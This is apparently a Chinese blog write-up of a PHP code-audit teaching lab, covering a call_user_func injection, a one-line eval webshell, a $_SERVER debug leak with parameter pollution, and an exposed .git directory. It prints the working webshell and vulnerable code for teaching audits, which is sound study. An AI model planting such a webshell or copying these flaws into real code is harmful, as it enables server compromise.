Skip to content
Kurisu
Go back

PHP 代码审计入门靶场复盘:call_user_func、一句话马与 HPP

白盒审计的手感要从真实代码里练。这个教学靶场很小(十来个文件),但每个文件对应一类经典审计发现,正好当”危险函数 → 参数可控性 → 利用条件”三步法的练习题。

0x01 审计起点:危险函数索引

拿到源码先 grep 危险函数,再逐个反查”参数是否可控、中间有没有过滤”:

命令/代码执行:system exec eval assert call_user_func call_user_func_array create_function preg_replace(/e)
文件操作:include require file_put_contents fopen unlink

这个靶场命中了其中四个经典模式。

0x02 案例①:call_user_func 的”可控函数名”

Class A {
    static function f(string $a){ system($a); }
}

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) unset($parameters['action']);
call_user_func($action, $parameters);

三步分析:

  1. 可控点:函数名 $action 完全可控,参数 $parameters 是剔除 action 后的整个 GET 数组——函数名和实参双双可控,这是 call_user_func 系漏洞的理想形态;
  2. 利用尝试call_user_func('system', $_GET) 不成立——system 收到的是关联数组而非字符串,TypeError。call_user_func('A::f', $_GET) 同理栽在 string $a 的类型声明上;
  3. 实际危害:退一步是任意无参/单数组参函数调用——action=phpinfo 直接回显全部配置(版本/扩展/绝对路径,为下一步利用铺路),配合其他文件就是完整链。

两个审计要点值得记:unset($parameters['action']) 说明开发者意识到了”参数里混进函数名”的问题,但只摘了 action 一个键,没解决函数名可控本身;审计时对”开发者已做一半防护”的点要格外仔细——他防的那个方向往往就是你该走的方向。

0x03 案例②:一句话马的标准形态

<?php eval($_POST[123]); ?>

这是 WebShell 的”教学原始版”:eval + $_POST + 数字键名(省引号)。实战里它活不过任何静态查杀,但审计视角要会两件事:

0x04 案例③:$_SERVER 全量暴露与 HPP

<?php var_dump($_SERVER); exit;

看似无害的调试残留,实际暴露两个面:

0x05 案例④:.git 泄露面

靶场目录自带 .git/(objects/refs/logs 一应俱全)——现实中这是最高频的源码泄露:扫描器发现 /.git/HEAD 返回 200 即可确认,用 git-dumper 类工具恢复全部源码,审计直接从黑盒变白盒。同目录的 db.inc.php(数据库凭据)和 git.phpcreate_oupeng_table.php(建表脚本)提示了恢复源码后的优先审计点:配置文件里的凭据、建表逻辑里的敏感字段。

0x06 审计三步法总结

① 危险函数 grep —— 建立可疑点清单
② 参数可控性回溯 —— 从危险函数向上追 taint,记录过滤/类型声明/框架封装
③ 利用条件评估 —— 无 RCE 也可能是信息泄露/组合链的一环,别急着判死

小靶场的价值在于把三步法走成肌肉记忆,真源码(几万行的框架二开)不过是同样的循环乘以耐力。

相关旧文


Share this post:

Previous Post
React2Shell 漏洞五讲:从 Thenable 到 15 万美元的 WAF 绕过
Next Post
App 与小程序渗透入门:抓包原理、证书绑定绕过与反编译审计